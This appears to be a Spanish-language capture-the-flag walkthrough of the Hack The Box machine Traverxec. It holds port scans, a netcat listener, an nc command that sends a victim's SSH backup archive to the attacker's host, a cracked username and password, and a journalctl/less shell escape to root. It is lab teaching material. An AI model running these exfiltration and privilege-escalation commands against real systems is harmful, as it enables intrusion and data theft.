Traverxec

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Linux | Easy | 16 Noviembre 2019 | jkr |
Escaneo de puertos
nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.10.165
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-08 10:10 -03
Initiating SYN Stealth Scan at 10:10
Scanning 10.10.10.165 [65535 ports]
Discovered open port 22/tcp on 10.10.10.165
Discovered open port 80/tcp on 10.10.10.165
Completed SYN Stealth Scan at 10:11, 26.48s elapsed (65535 total ports)
Nmap scan report for 10.10.10.165
Host is up, received user-set (0.18s latency).
Scanned at 2025-04-08 10:10:39 -03 for 27s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.55 seconds
Raw packets sent: 131086 (5.768MB) | Rcvd: 23 (1.120KB)
Enumeración de versión y servicio
nmap -sCV -p22,80 -oN servicesScan 10.10.10.165
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-08 10:11 -03
Nmap scan report for 10.10.10.165 (10.10.10.165)
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.51 seconds
Explotación inicial
HTTP (80)
nostromo 1.9.6
Entablamos una reverse shell.
Nos ponemos en escucha con Netcat por el puerto 4444
nc -lnvp 4444
Enumeramos con linpeas y encontramos el siguiente hash.
Lo crackeamos con John
david:Nowonly4me
Esa contraseña no no sirve. Toca seguir enumerando.
www-data@traverxec:/var/nostromo$ cat conf/nhttpd.conf
# MAIN [MANDATORY]
servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
# LOGS [OPTIONAL]
logpid logs/nhttpd.pid
# SETUID [RECOMMENDED]
user www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons /var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www
Transferimos el archivo a nuestra máquina usando netcat
Nos ponemos en escucha por el purto 1234 para recibir el archivo.
nc -lvp 1234 > backup.tgz
En la máquina víctima ejecutamos lo siguiente:
nc 10.10.14.5 1234 < /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
Escalación de privilegios root
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
El script devuelve las últimas 5 líneas de los registros del servicio nostromo mediante journalctl. Esto es explotable porque journalctl invoca el paginador predeterminado, que probablemente sea less
. El comando less muestra la salida en la pantalla del usuario y espera la entrada del usuario una vez que se muestra el contenido. Esto puede explotarse ejecutando un comando de shell.
!/bin/bash